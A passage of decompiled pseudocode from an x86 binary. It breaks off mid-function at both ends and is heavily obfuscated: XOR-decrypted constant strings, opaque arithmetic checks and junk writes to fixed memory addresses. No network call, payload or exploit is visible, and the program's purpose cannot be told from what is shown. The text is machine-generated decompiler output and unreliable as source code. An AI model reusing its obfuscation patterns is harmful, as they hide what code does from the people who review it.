												asm("adc edi, edx");
												asm("adc edi, 0x0");
												_t2518 = E00972730(_t2509 + 9 + _t2517 + 0x4579, _t3694);
												_t4043 = _t4043 + 8;
												_v3588 = _t2518;
												_v3584 = _t3694;
												_v1264 = _v4104;
												_v1260 =  &_v696;
												_v1436 = _v1260;
												_t3700 = _v1260;
												__eflags =  *((intOrPtr*)(_t3700 + 0x14)) - 0x10;
												if( *((intOrPtr*)(_t3700 + 0x14)) < 0x10) {
													_v1584 = 0;
												} else {
													_v1584 = 1;
												}
												_v847 = _v1584;
												__eflags = _v847 & 0x000000ff;
												if((_v847 & 0x000000ff) != 0) {
													_v1980 =  *_v1260;
													_v1436 = _v1980;
												}
												_v1984 = _v1436;
												_v1264 = _v1984 + _v928;
												_v848 =  *_v1264;
												asm("cdq");
												 *_v1264 = _v848 ^ _v3588;
												_t2525 = E009AF98F(_v1264);
												_t3126 = 0x180;
												_v1988 = _t2525 % 0x180;
												_t3706 = _v1988 & 0x80000001;
												__eflags = _t3706;
												if(_t3706 < 0) {
													_t3706 = (_t3706 - 0x00000001 | 0xfffffffe) + 1;
													__eflags = _t3706;
												}
												__eflags = _t3706;
												if(_t3706 == 0) {
													_t3126 = 0;
													__eflags = 0;
													 *((intOrPtr*)(0x9d3628)) = 0x22;
													 *((intOrPtr*)(0x15811d1)) = 0;
												}
												_t3708 = _v928 + 1;
												__eflags = _t3708;
												_v928 = _t3708;
											}
											_v849 = 0;
											_v850 = 0;
											_v851 = 0;
											_v1068 = _v849;
											_v1072 = _v850;
											_v1076 = _v851;
											_v3284 = 0x287b2e7d;
											_v3280 = 0x8b693317;
											_v3836 = _v3284;
											_v3832 = _v3280;
											_v3292 = 0x89f9ef3a;
											_v3288 = 0xc7f6786c;
											_v3828 = _v3292;
											_v3824 = _v3288;
											_v1268 =  &_v3836;
											_v476 = 0x7c286135;
											_v472 = 0x8b69332d;
											_v468 = 0x89f9ef3a;
											_v464 = 0xc7f6786c;
											_v852 = 0;
											_v1080 = _v852;
											asm("movaps xmm0, [ebp-0x1d0]");
											asm("movaps [ebp-0x1510], xmm0");
											asm("movups xmm0, [ecx]");
											asm("movaps [ebp-0x1500], xmm0");
											asm("movaps xmm0, [ebp-0x1500]");
											asm("pxor xmm0, [ebp-0x1510]");
											asm("movaps [ebp-0x1520], xmm0");
											asm("movaps xmm0, [ebp-0x1520]");
											asm("movups [edx], xmm0");
											_v1992 = _v1268;
											_v3300 = 0x4560;
											_v3296 = 0;
											_v3324 = _v3300 ^ 0x00000019;
											_v3320 = _v3296 ^ 0x00000000;
											_v3308 = 0x19;
											_v3304 = 0;
											_t3663 =  *0x9d28c0; // 0x51
											_t3664 = _t3663 ^ 0x00004579;
											_t2449 =  *0x9d28c4; // 0x0
											_v3316 = E009C3280(_t3664, _t2449 ^ 0x00000000, 6, 0);
											_v3312 = _t3664;
											_v3332 = 0x4579;
											_v3328 = 0;
											asm("adc eax, ecx");
											asm("adc eax, 0x0");
											_v3348 = _v3308 + _v3316 + 1;
											_v3344 = _v3304;
											asm("sbb eax, ecx");
											_v3340 = _v3324 - _v3332;
											_v3336 = _v3320;
											_t3670 = _v3340;
											_v3356 = E009C3300(_t3670, _v3336, _v3348, _v3344);
											_v3352 = _t3670;
											_v3364 = E00986810( &_v696, _v1992, 0);
											_v3360 = 0;
											_v3372 = _v3356;
											_v3368 = _v3352;
											__eflags = _v3364 - _v3372;
											if(_v3364 != _v3372) {
												goto L144;
											} else {
												__eflags = _v3360 - _v3368;
												if(_v3360 != _v3368) {
													goto L144;
												} else {
													_v853 = 0;
													_v854 = 0;
													_v855 = 0;
													_v1084 = _v853;
													_v1088 = _v854;
													_v1092 = _v855;
													_v3380 = 0x7c28610f;
													_v3376 = 0x8b69332d;
													_v3852 = _v3380;
													_v3848 = _v3376;
													_v3388 = 0x89f9ef3a;
													_v3384 = 0xc7f6786c;
													_v3844 = _v3388;
													_v3840 = _v3384;
													_v1272 =  &_v3852;
													_v1448 = _v4108;
													_v492 = 0x7c286135;
													_v488 = 0x8b69332d;
													_v484 = 0x89f9ef3a;
													_v480 = 0xc7f6786c;
													_v856 = 0;
													_v1096 = _v856;
													asm("movaps xmm0, [ebp-0x1e0]");
													asm("movaps [ebp-0x1540], xmm0");
													asm("movups xmm0, [edx]");
													asm("movaps [ebp-0x1530], xmm0");
													asm("movaps xmm0, [ebp-0x1530]");
													asm("pxor xmm0, [ebp-0x1540]");
													asm("movaps [ebp-0x1550], xmm0");
													asm("movaps xmm0, [ebp-0x1550]");
													asm("movups [eax], xmm0");
													_v1448 = _v1272;
													_v1452 = _v4112;
													_v1276 =  &_v696;
													_v1444 = _v1276;
													_t3681 = _v1276;
													__eflags =  *((intOrPtr*)(_t3681 + 0x14)) - 0x10;
													if( *((intOrPtr*)(_t3681 + 0x14)) < 0x10) {
														_v1440 = 0;
													} else {
														_v1440 = 1;
													}
													_v857 = _v1440;
													__eflags = _v857 & 0x000000ff;
													if(__eflags != 0) {
														_v1996 =  *_v1276;
														_v1444 = _v1996;
													}
													_v2000 = _v1444;
													_v1452 = _v2000;
													E00975C00( &_v792, _v1452, __eflags, _v1448, 0x2f);
													_v16 = 0x29;
													_t3684 = _v776;
													_v2004 = _t3684;
													_t2469 =  *0x9d28d8; // 0x15b5d
													_t3153 =  *0x9d28dc; // 0x0
													_t2472 = E009C3280(E009C3280(_t2469 ^ 0x00004579, _t3153 ^ 0x00000000, 7, 0), _t3684, 4, 0);
													asm("adc ecx, 0x0");
													_t3685 =  *0x9d28cc; // 0x0
													_t3686 =  *0x9d28c8; // 0x4c
													_v2008 = _t2472 + 0xaf;
													_v2012 = _t3684;
													_t2475 = E009C3300(E009C3280(_t3686, _t3685, 0x4579, 0), _t3686, 0x19, 0);
													asm("adc eax, edx");
													asm("adc eax, 0x0");
													_t2478 = E00972800(__eflags, _v2008 + _t2475 + 0x00000007 ^ 0x00000019, _v2012 ^ 0x00000000);
													_v3396 = _v2004;
													_v3392 = 0;
													_v3404 = _t2478;
													_v3400 = _t3686;
													__eflags = _v3392 - _v3400;
													if(__eflags < 0) {
														L143:
														_v16 = 0x25;
														E00971AB0( &_v792);
														goto L144;
													} else {
														if(__eflags > 0) {
															L139:
															_t3687 = _v776;
															_v2016 = _t3687;
															_t2481 =  *0x9d28d8; // 0x15b5d
															_t3161 =  *0x9d28dc; // 0x0
															_t2484 = E009C3280(E009C3280(_t2481 ^ 0x00004579, _t3161 ^ 0x00000000, 0x50, 0), _t3687, 4, 0);
															asm("adc ecx, 0x0");
															_t3688 =  *0x9d28cc; // 0x0
															_t3689 =  *0x9d28c8; // 0x4c
															_v2020 = _t2484 + 0x7d0;
															_v2024 = _t3687;
															_t2487 = E009C3300(E009C3280(_t3689, _t3688, 0x4579, 0), _t3689, 0x19, 0);
															asm("adc eax, edx");
															asm("adc eax, 0x0");
															_t2490 = E00972800(__eflags, _v2020 + _t2487 + 0x00000050 ^ 0x00000019, _v2024 ^ 0x00000000);
															_v3412 = _v2016;
															_v3408 = 0;
															_v3420 = _t2490;
															_v3416 = _t3689;
															__eflags = _v3408 - _v3416;
															if(__eflags > 0) {
																goto L143;
															} else {
																if(__eflags < 0) {
																	L142:
																	_t3653 =  &_v792;
																	E00971790( *((intOrPtr*)(_t2951 + 8)),  &_v792);
																	_v796 = _v796 | 0x00000001;
																	_v16 = 0x25;
																	E00971AB0( &_v792);
																	_v16 = 0x20;
																	E00971AB0( &_v696);
																	_v16 = 0x1c;
																	E00971AB0( &_v624);
																	_v16 = 0x17;
																	E00971AB0( &_v648);
																	_v16 = 0;
																	E00971AB0( &_v600);
																	_v16 = 0xffffffff;
																	E00971AB0( &_v576);
																	_t2437 =  *((intOrPtr*)(_t2951 + 8));
																} else {
																	__eflags = _v3412 - _v3420;
																	if(_v3412 >= _v3420) {
																		goto L143;
																	} else {
																		goto L142;
																	}
																}
															}
														} else {
															__eflags = _v3396 - _v3404;
															if(_v3396 < _v3404) {
																goto L143;
															} else {
																goto L139;
															}
														}
													}
												}
											}
										}
									}
								}
							} else {
								_t3192 = _v3056;
								__eflags = _v3056 - _v3064;
								if(_v3056 != _v3064) {
									goto L101;
								} else {
									__eflags = _v1556;
									if(_v1556 == 0) {
										goto L101;
									} else {
										_v932 = 0;
										while(1) {
											__eflags = _v932 - _v1556;
											if(_v932 >= _v1556) {
												break;
											}
											_t2599 = E009AF98F(_t3192);
											_t3243 = 0x180;
											_v1872 = _t2599 % 0x180;
											_t3751 = _v1872 & 0x80000001;
											__eflags = _t3751;
											if(_t3751 < 0) {
												_t3751 = (_t3751 - 0x00000001 | 0xfffffffe) + 1;
												__eflags = _t3751;
											}
											__eflags = _t3751;
											if(_t3751 == 0) {
												_t3243 = 0;
												__eflags = 0;
												 *((intOrPtr*)(0x9d3628)) = 0x22;
												 *((intOrPtr*)(0x15811d1)) = 0;
											}
											_t2602 = E009AF98F(_t3243) & 0x80000001;
											__eflags = _t2602;
											if(_t2602 < 0) {
												_t2602 = (_t2602 - 0x00000001 | 0xfffffffe) + 1;
												__eflags = _t2602;
											}
											__eflags = _t2602;
											if(_t2602 != 0) {
												 *((char*)(0x9d37a0)) = 0xda;
												 *((char*)(0x9d37ad)) = 0xce;
												 *((char*)(0x9d37ae)) = 0xc3;
												 *((char*)(0x9d37a3)) = 0xdb;
												 *((char*)(0x158134d)) = 0xa5;
												_t3751 = 1 << 1;
												__eflags = 1;
												 *((char*)(0x9d37a1)) = 0xee;
											} else {
												E009ADBB0(_t3952, "+++++++++++++++++++++++++++++++++++++++++++++++++++++++", 0x2b, 0x37);
												_t4036 = _t4036 + 0xc;
											}
											_t2606 =  *0x9d28d0; // 0x3a
											asm("cdq");
											_t3952 = _t3751;
											asm("adc edi, 0x0");
											_t2607 =  *0x9d28d4; // 0xfc
											asm("cdq");
											asm("adc edx, 0x0");
											_t2609 = E009C3280(_t2607 + 0x4579, _t3751, 0x4579, 0);
											asm("adc eax, 0x0");
											_v1876 = _t3751;
											_t2611 =  *0x9d28d4; // 0xfc
											asm("cdq");
											asm("adc edx, 0x0");
											_t2614 = E009C3280(_t2609 + 0x6d, _v1876, _t2611 + 9, _t3751);
											asm("adc edi, edx");
											asm("adc edi, 0x0");
											_t2615 = E00972730(_t2606 + 9 + _t2614 + 0x4579, _t3751);
											_t4036 = _t4036 + 8;
											_v3580 = _t2615;
											_v3576 = _t3751;
											_v1240 = _v4240;
											_v1236 =  &_v624;
											_v1564 = _v1236;
											_t3757 = _v1236;
											__eflags =  *((intOrPtr*)(_t3757 + 0x14)) - 0x10;
											if( *((intOrPtr*)(_t3757 + 0x14)) < 0x10) {
												_v1560 = 0;
											} else {
												_v1560 = 1;
											}
											_v832 = _v1560;
											__eflags = _v832 & 0x000000ff;
											if((_v832 & 0x000000ff) != 0) {
												_v1880 =  *_v1236;
												_v1564 = _v1880;
											}
											_v1884 = _v1564;
											_v1240 = _v1884 + _v932;
											_v833 =  *_v1240;
											asm("cdq");
											 *_v1240 = _v833 ^ _v3580;
											_t2622 = E009AF98F(_v1240);
											_t3192 = 0x180;
											_v1888 = _t2622 % 0x180;
											_t3763 = _v1888 & 0x80000001;
											__eflags = _t3763;
											if(_t3763 < 0) {
												_t3763 = (_t3763 - 0x00000001 | 0xfffffffe) + 1;
												__eflags = _t3763;
											}
											__eflags = _t3763;
											if(_t3763 == 0) {
												_t3192 = 0;
												__eflags = 0;
												 *((intOrPtr*)(0x9d3628)) = 0x22;
												 *((intOrPtr*)(0x15811d1)) = 0;
											}
											_t3765 = _v932 + 1;
											__eflags = _t3765;
											_v932 = _t3765;
										}
										_v879 = 0;
										_v835 = 0;
										_v836 = 0;
										_v1020 = _v879;
										_v1024 = _v835;
										_v1028 = _v836;
										_v3076 = 0x287b2e7d;
										_v3072 = 0x8b693317;
										_v3804 = _v3076;
										_v3800 = _v3072;
										_v3084 = 0x89f9ef3a;
										_v3080 = 0xc7f6786c;
										_v3796 = _v3084;
										_v3792 = _v3080;
										_v1244 =  &_v3804;
										_v460 = 0x7c286135;
										_v456 = 0x8b69332d;
										_v452 = 0x89f9ef3a;
										_v448 = 0xc7f6786c;
										_v837 = 0;
										_v1032 = _v837;
										asm("movaps xmm0, [ebp-0x1c0]");
										asm("movaps [ebp-0x1420], xmm0");
										asm("movups xmm0, [ecx]");
										asm("movaps [ebp-0x1410], xmm0");
										asm("movaps xmm0, [ebp-0x1410]");
										asm("pxor xmm0, [ebp-0x1420]");
										asm("movaps [ebp-0x1430], xmm0");
										asm("movaps xmm0, [ebp-0x1430]");
										asm("movups [edx], xmm0");
										_v1892 = _v1244;
										_v3092 = 0x4560;
										_v3088 = 0;
										_v3116 = _v3092 ^ 0x00000019;
										_v3112 = _v3088 ^ 0x00000000;
										_v3100 = 0x19;
										_v3096 = 0;
										_t3723 =  *0x9d28c0; // 0x51
										_t3724 = _t3723 ^ 0x00004579;
										_t2547 =  *0x9d28c4; // 0x0
										_v3108 = E009C3280(_t3724, _t2547 ^ 0x00000000, 6, 0);
										_v3104 = _t3724;
										_v3124 = 0x4579;
										_v3120 = 0;
										asm("adc eax, ecx");
										asm("adc eax, 0x0");
										_v3140 = _v3100 + _v3108 + 1;
										_v3136 = _v3096;
										asm("sbb eax, ecx");
										_v3132 = _v3116 - _v3124;
										_v3128 = _v3112;
										_t3730 = _v3132;
										_v3148 = E009C3300(_t3730, _v3128, _v3140, _v3136);
										_v3144 = _t3730;
										_t2554 = E00986810( &_v624, _v1892, 0);
										_t3621 = _v3148;
										_t3975 = _v3144;
										_v3156 = _t2554;
										_v3152 = 0;
										_v3164 = _v3148;
										_v3160 = _v3144;
										__eflags = _v3156 - _v3164;
										if(_v3156 != _v3164) {
											goto L101;
										} else {
											__eflags = _v3152 - _v3160;
											if(_v3152 != _v3160) {
												goto L101;
											} else {
												_v838 = 0;
												_v839 = 0;
												_v840 = 0;
												_v1036 = _v838;
												_v1040 = _v839;
												_v1044 = _v840;
												_v3172 = 0x7c28610f;
												_v3168 = 0x8b69332d;
												_v3820 = _v3172;
												_v3816 = _v3168;
												_v3180 = 0x89f9ef3a;
												_v3176 = 0xc7f6786c;
												_v3812 = _v3180;
												_v3808 = _v3176;
												_v1248 =  &_v3820;
												_v1576 = _v4244;
												_v156 = 0x7c286135;
												_v152 = 0x8b69332d;
												_v148 = 0x89f9ef3a;
												_v144 = 0xc7f6786c;
												_v841 = 0;
												_v1048 = _v841;
												asm("movaps xmm0, [ebp-0x90]");
												asm("movaps [ebp-0x15b0], xmm0");
												asm("movups xmm0, [edx]");
												asm("movaps [ebp-0x1440], xmm0");
												asm("movaps xmm0, [ebp-0x1440]");
												asm("pxor xmm0, [ebp-0x15b0]");
												asm("movaps [ebp-0x1460], xmm0");
												asm("movaps xmm0, [ebp-0x1460]");
												asm("movups [eax], xmm0");
												_v1576 = _v1248;
												_v1580 = _v4164;
												_v1252 =  &_v624;
												_v1572 = _v1252;
												_t3740 = _v1252;
												__eflags =  *((intOrPtr*)(_t3740 + 0x14)) - 0x10;
												if( *((intOrPtr*)(_t3740 + 0x14)) < 0x10) {
													_v1568 = 0;
												} else {
													_v1568 = 1;
												}
												_v842 = _v1568;
												__eflags = _v842 & 0x000000ff;
												if(__eflags != 0) {
													_v1896 =  *_v1252;
													_v1572 = _v1896;
												}
												_v1900 = _v1572;
												_v1580 = _v1900;
												E00975C00( &_v768, _v1580, __eflags, _v1576, 0x2f);
												_v16 = 0x24;
												_t3743 = _v752;
												_v1904 = _t3743;
												_t3975 = _v1904;
												_t3952 = 0;
												_t2567 =  *0x9d28d8; // 0x15b5d
												_t3219 =  *0x9d28dc; // 0x0
												_t2570 = E009C3280(E009C3280(_t2567 ^ 0x00004579, _t3219 ^ 0x00000000, 7, 0), _t3743, 4, 0);
												asm("adc ecx, 0x0");
												_t3744 =  *0x9d28cc; // 0x0
												_t3621 =  *0x9d28c8; // 0x4c
												_v1908 = _t2570 + 0xaf;
												_v1912 = _t3743;
												_t2573 = E009C3300(E009C3280(_t3621, _t3744, 0x4579, 0), _t3621, 0x19, 0);
												asm("adc eax, edx");
												asm("adc eax, 0x0");
												_t2576 = E00972800(__eflags, _v1908 + _t2573 + 0x00000007 ^ 0x00000019, _v1912 ^ 0x00000000);
												_t4036 = _t4036 + 8;
												_v3188 = _v1904;
												_v3184 = 0;
												_v3196 = _t2576;
												_v3192 = _t3621;
												__eflags = _v3184 - _v3192;
												if(__eflags < 0) {
													L100:
													_v16 = 0x20;
													E00971AB0( &_v768);
													goto L101;
												} else {
													if(__eflags > 0) {
														L96:
														_t3745 = _v752;
														_v1916 = _t3745;
														_t3975 = _v1916;
														_t3952 = 0;
														_t2579 =  *0x9d28d8; // 0x15b5d
														_t3227 =  *0x9d28dc; // 0x0
														_t2582 = E009C3280(E009C3280(_t2579 ^ 0x00004579, _t3227 ^ 0x00000000, 0x50, 0), _t3745, 4, 0);
														asm("adc ecx, 0x0");
														_t3746 =  *0x9d28cc; // 0x0
														_t3621 =  *0x9d28c8; // 0x4c
														_v1920 = _t2582 + 0x7d0;
														_v1924 = _t3745;
														_t2585 = E009C3300(E009C3280(_t3621, _t3746, 0x4579, 0), _t3621, 0x19, 0);
														asm("adc eax, edx");
														asm("adc eax, 0x0");
														_t2588 = E00972800(__eflags, _v1920 + _t2585 + 0x00000050 ^ 0x00000019, _v1924 ^ 0x00000000);
														_t4036 = _t4036 + 8;
														_v3204 = _v1916;
														_v3200 = 0;
														_v3212 = _t2588;
														_v3208 = _t3621;
														__eflags = _v3200 - _v3208;
														if(__eflags > 0) {
															goto L100;
														} else {
															if(__eflags < 0) {
																L99:
																_t3653 =  &_v768;
																E00971790( *((intOrPtr*)(_t2951 + 8)),  &_v768);
																_v796 = _v796 | 0x00000001;
																_v16 = 0x20;
																E00971AB0( &_v768);
																_v16 = 0x1c;
																E00971AB0( &_v624);
																_v16 = 0x17;
																E00971AB0( &_v648);
																_v16 = 0;
																E00971AB0( &_v600);
																_v16 = 0xffffffff;
																E00971AB0( &_v576);
																_t2437 =  *((intOrPtr*)(_t2951 + 8));
															} else {
																__eflags = _v3204 - _v3212;
																if(_v3204 >= _v3212) {
																	goto L100;
																} else {
																	goto L99;
																}
															}
														}
													} else {
														__eflags = _v3188 - _v3196;
														if(_v3188 < _v3196) {
															goto L100;
														} else {
															goto L96;
														}
													}
												}
											}
										}
									}
								}
							}
						} else {
							_v1812 = _v632;
							__eflags = _v1812;
							if(_v1812 == 0) {
								goto L58;
							} else {
								_v819 = 0;
								_v820 = 0;
								_v821 = 0;
								_v972 = _v819;
								_v1128 = _v820;
								_v980 = _v821;
								_v2980 = 0x287b2e7d;
								_v2976 = 0x8b693317;
								_v3772 = _v2980;
								_v3768 = _v2976;
								_v2988 = 0x89f9ef3a;
								_v2984 = 0xc7f6786c;
								_v3764 = _v2988;
								_v3760 = _v2984;
								_v1220 =  &_v3772;
								_v428 = 0x7c286135;
								_v424 = 0x8b69332d;
								_v420 = 0x89f9ef3a;
								_v416 = 0xc7f6786c;
								_v822 = 0;
								_v984 = _v822;
								asm("movaps xmm0, [ebp-0x1a0]");
								asm("movaps [ebp-0x1330], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x1320], xmm0");
								asm("movaps xmm0, [ebp-0x1320]");
								asm("pxor xmm0, [ebp-0x1330]");
								asm("movaps [ebp-0x1340], xmm0");
								asm("movaps xmm0, [ebp-0x1340]");
								_t3596 = _v1220;
								asm("movups [edx], xmm0");
								_v1816 = _v1220;
								_t2642 = E00986810( &_v648, _v1816, 0);
								__eflags = _t2642;
								if(_t2642 != 0) {
									goto L58;
								} else {
									_v823 = 0;
									_v824 = 0;
									_v825 = 0;
									_v988 = _v823;
									_v992 = _v824;
									_v996 = _v825;
									_v2996 = 0x287b2e7d;
									_v2992 = 0x8b693317;
									_v3788 = _v2996;
									_v3784 = _v2992;
									_v3004 = 0x89f9ef3a;
									_v3000 = 0xc7f6786c;
									_v3780 = _v3004;
									_v3776 = _v3000;
									_v1224 =  &_v3788;
									_v1536 = _v4188;
									_v444 = 0x7c286135;
									_v440 = 0x8b69332d;
									_v436 = 0x89f9ef3a;
									_v432 = 0xc7f6786c;
									_v826 = 0;
									_v1000 = _v826;
									asm("movaps xmm0, [ebp-0x1b0]");
									asm("movaps [ebp-0x1360], xmm0");
									asm("movups xmm0, [edx]");
									asm("movaps [ebp-0x1350], xmm0");
									asm("movaps xmm0, [ebp-0x1350]");
									asm("pxor xmm0, [ebp-0x1360]");
									asm("movaps [ebp-0x1370], xmm0");
									asm("movaps xmm0, [ebp-0x1370]");
									asm("movups [eax], xmm0");
									_v1536 = _v1224;
									_v1540 = _v4196;
									_v1228 =  &_v648;
									_v1532 = _v1228;
									_t3785 = _v1228;
									__eflags =  *((intOrPtr*)(_t3785 + 0x14)) - 0x10;
									if( *((intOrPtr*)(_t3785 + 0x14)) < 0x10) {
										_v1528 = 0;
									} else {
										_v1528 = 1;
									}
									_v827 = _v1528;
									__eflags = _v827 & 0x000000ff;
									if(__eflags != 0) {
										_v1820 =  *_v1228;
										_v1532 = _v1820;
									}
									_v1824 = _v1532;
									_v1540 = _v1824;
									E00975C00( *((intOrPtr*)(_t2951 + 8)), _v1540, __eflags, _v1536, 0x20);
									_t3653 = _v796 | 0x00000001;
									_v796 = _v796 | 0x00000001;
									_v16 = 0x17;
									E00971AB0( &_v648);
									_v16 = 0;
									E00971AB0( &_v600);
									_v16 = 0xffffffff;
									E00971AB0( &_v576);
									_t2437 =  *((intOrPtr*)(_t2951 + 8));
								}
							}
						}
					} else {
						__eflags = _v2880 - _v2888;
						if(_v2880 != _v2888) {
							goto L46;
						} else {
							_v810 = 0;
							_v811 = 0;
							_v812 = 0;
							_v940 = _v810;
							_v944 = _v811;
							_v948 = _v812;
							_v2900 = 0x7c28610f;
							_v2896 = 0x8b69332d;
							_v3756 = _v2900;
							_v3752 = _v2896;
							_v2908 = 0x89f9ef3a;
							_v2904 = 0xc7f6786c;
							_v3748 = _v2908;
							_v3744 = _v2904;
							_v1208 =  &_v3756;
							_v1512 = _v4284;
							_v412 = 0x7c286135;
							_v408 = 0x8b69332d;
							_v404 = 0x89f9ef3a;
							_v400 = 0xc7f6786c;
							_v813 = 0;
							_v952 = _v813;
							asm("movaps xmm0, [ebp-0x190]");
							asm("movaps [ebp-0x12a0], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x1290], xmm0");
							asm("movaps xmm0, [ebp-0x1290]");
							asm("pxor xmm0, [ebp-0x12a0]");
							asm("movaps [ebp-0x12b0], xmm0");
							asm("movaps xmm0, [ebp-0x12b0]");
							asm("movups [edx], xmm0");
							_v1512 = _v1208;
							_v1516 = _v4288;
							_v1212 =  &_v600;
							_v1508 = _v1212;
							_t3289 = _v1212;
							__eflags =  *((intOrPtr*)(_t3289 + 0x14)) - 0x10;
							if( *((intOrPtr*)(_t3289 + 0x14)) < 0x10) {
								_v1504 = 0;
							} else {
								_v1504 = 1;
							}
							_v814 = _v1504;
							__eflags = _v814 & 0x000000ff;
							if(__eflags != 0) {
								_v1756 =  *_v1212;
								_v1508 = _v1756;
							}
							_v1760 = _v1508;
							_v1516 = _v1760;
							E00975C00( &_v744, _v1516, __eflags, _v1512, 0x2f);
							_v16 = 0x1b;
							_v1764 = _v728;
							_t3969 = _v1764;
							_t3949 = 0;
							_t3801 =  *0x9d28d8; // 0x15b5d
							_t3802 = _t3801 ^ 0x00004579;
							_t2673 =  *0x9d28dc; // 0x0
							_t2676 = E009C3280(E009C3280(_t3802, _t2673 ^ 0x00000000, 7, 0), _t3802, 4, 0);
							asm("adc ecx, 0x0");
							_t3803 =  *0x9d28cc; // 0x0
							_t3584 =  *0x9d28c8; // 0x4c
							_v1768 = _t2676 + 0xaf;
							_v1772 = _t3802;
							_t2679 = E009C3300(E009C3280(_t3584, _t3803, 0x4579, 0), _t3584, 0x19, 0);
							asm("adc eax, edx");
							asm("adc eax, 0x0");
							_t2682 = E00972800(__eflags, _v1768 + _t2679 + 0x00000007 ^ 0x00000019, _v1772 ^ 0x00000000);
							_t4025 = _t4025 + 8;
							_v2916 = _v1764;
							_v2912 = 0;
							_v2924 = _t2682;
							_v2920 = _t3584;
							__eflags = _v2912 - _v2920;
							if(__eflags < 0) {
								L45:
								_v16 = 0x17;
								E00971AB0( &_v744);
								goto L46;
							} else {
								if(__eflags > 0) {
									L41:
									_t3804 = _v728;
									_v1776 = _t3804;
									_t3969 = _v1776;
									_t3949 = 0;
									_t2685 =  *0x9d28d0; // 0x3a
									asm("cdq");
									asm("adc ecx, 0x0");
									_v1784 = _t2685 + 9;
									_t2687 =  *0x9d28d4; // 0xfc
									asm("cdq");
									asm("adc edx, 0x0");
									_v1788 = _t3804;
									_t2689 = E009C3280(_t2687 + 0x4579, _t3804, 0x4579, 0);
									asm("adc eax, 0x0");
									_v1780 = _t3804;
									_t2691 =  *0x9d28d4; // 0xfc
									asm("cdq");
									asm("adc edx, 0x0");
									_t2694 = E009C3280(_t2689 + 0x50, _v1780, _t2691 + 9, _t3804);
									asm("adc eax, edx");
									asm("adc eax, 0x0");
									_t2696 = E00972730(_v1784 + _t2694 + 0x4579, _v1788);
									_t4025 = _t4025 + 8;
									_v2932 = _v1776;
									_v2928 = 0;
									_v2940 = _t2696;
									_v2936 = _t3804;
									_t3584 = _v2928;
									__eflags = _v2928 - _v2936;
									if(__eflags > 0) {
										goto L45;
									} else {
										if(__eflags < 0) {
											L44:
											E00971790( *((intOrPtr*)(_t2951 + 8)),  &_v744);
											_t3653 = _v796 | 0x00000001;
											_v796 = _v796 | 0x00000001;
											_v16 = 0x17;
											E00971AB0( &_v744);
											_v16 = 0;
											E00971AB0( &_v600);
											_v16 = 0xffffffff;
											E00971AB0( &_v576);
											_t2437 =  *((intOrPtr*)(_t2951 + 8));
										} else {
											__eflags = _v2932 - _v2940;
											if(_v2932 >= _v2940) {
												goto L45;
											} else {
												goto L44;
											}
										}
									}
								} else {
									__eflags = _v2916 - _v2924;
									if(_v2916 < _v2924) {
										goto L45;
									} else {
										goto L41;
									}
								}
							}
						}
					}
				} else {
					_v3472 = _v560;
					_t4062 = _v3472;
					if(_v3472 == 0) {
						goto L28;
					} else {
						_v866 = 0;
						_v867 = 0;
						_v868 = 0;
						_v1136 = _v866;
						_v1140 = _v867;
						_v1144 = _v868;
						_v2164 = 0x4418500f;
						_v2160 = 0x8b69331d;
						_v3708 = _v2164;
						_v3704 = _v2160;
						_v2172 = 0x89f9ef3a;
						_v2168 = 0xc7f6786c;
						_v3700 = _v2172;
						_v3696 = _v2168;
						_v1160 =  &_v3708;
						_v268 = 0x7c286135;
						_v264 = 0x8b69332d;
						_v260 = 0x89f9ef3a;
						_v256 = 0xc7f6786c;
						_v869 = 0;
						_v1148 = _v869;
						asm("movaps xmm0, [ebp-0x100]");
						asm("movaps [ebp-0x1660], xmm0");
						asm("movups xmm0, [ecx]");
						asm("movaps [ebp-0x1620], xmm0");
						asm("movaps xmm0, [ebp-0x1620]");
						asm("pxor xmm0, [ebp-0x1660]");
						asm("movaps [ebp-0x1670], xmm0");
						asm("movaps xmm0, [ebp-0x1670]");
						asm("movups [edx], xmm0");
						_v3476 = _v1160;
						_t2714 = E00986810( &_v576, _v3476, 0);
						_t3967 = _t2714;
						_t3949 = 0;
						_t3814 =  *0x9d28d8; // 0x15b5d
						_t3815 = _t3814 ^ 0x00004579;
						_t2715 =  *0x9d28dc; // 0x0
						_t2718 = E009C3280(E009C3280(_t3815, _t2715 ^ 0x00000000, 0xffffffff, 0), _t3815, 4, 0);
						asm("adc ecx, 0x18");
						_t3816 =  *0x9d28cc; // 0x0
						_t3552 =  *0x9d28c8; // 0x4c
						_v3480 = _t2718 + 0xffffffe7;
						_v3484 = _t3815;
						_t2721 = E009C3300(E009C3280(_t3552, _t3816, 0x4579, 0), _t3552, 0x19, 0);
						asm("adc eax, edx");
						asm("adc eax, 0x0");
						_t2724 = E00972800(_t4062, _v3480 + _t2721 + 0xffffffff ^ 0x00000019, _v3484 ^ 0x00000000);
						_t4021 = _t4021 + 8;
						_v2180 = _t2714;
						_v2176 = 0;
						_v2188 = _t2724;
						_v2184 = _t3552;
						if(_v2180 != _v2188 || _v2176 != _v2184) {
							_v870 = 0;
							_v871 = 0;
							_v872 = 0;
							_v1152 = _v870;
							_v1280 = _v871;
							_v1288 = _v872;
							_v2196 = 0x7c28613f;
							_v2192 = 0x8b69332d;
							_v3612 = _v2196;
							_v3608 = _v2192;
							_v2204 = 0x89f9ef3a;
							_v2200 = 0xc7f6786c;
							_v3604 = _v2204;
							_v3600 = _v2200;
							_v1164 =  &_v3612;
							_v284 = 0x7c286135;
							_v280 = 0x8b69332d;
							_v276 = 0x89f9ef3a;
							_v272 = 0xc7f6786c;
							_v873 = 0;
							_v1292 = _v873;
							asm("movaps xmm0, [ebp-0x110]");
							asm("movaps [ebp-0x1690], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x1680], xmm0");
							asm("movaps xmm0, [ebp-0x1680]");
							asm("pxor xmm0, [ebp-0x1690]");
							asm("movaps [ebp-0x16a0], xmm0");
							asm("movaps xmm0, [ebp-0x16a0]");
							asm("movups [edx], xmm0");
							_v3488 = _v1164;
							_t4048 = _t4021 - 0x18;
							_v4136 = _t4048;
							_v4140 = E00971810(_t4048, _v3488);
							_v16 = 4;
							_t4021 = _t4048 - 0x18;
							_v4144 = _t4021;
							E00986C20(_t4021,  &_v576);
							_v16 = 0;
							_v3492 = E009756B0( &_v4332);
							_v3496 = _v3492;
							_v16 = 5;
							_v3500 = _v3496;
							_v2212 = 0xbf940c;
							_v2208 = 0;
							_v2236 = _v2212 ^ 0x00000019;
							_v2232 = _v2208 ^ 0x00000000;
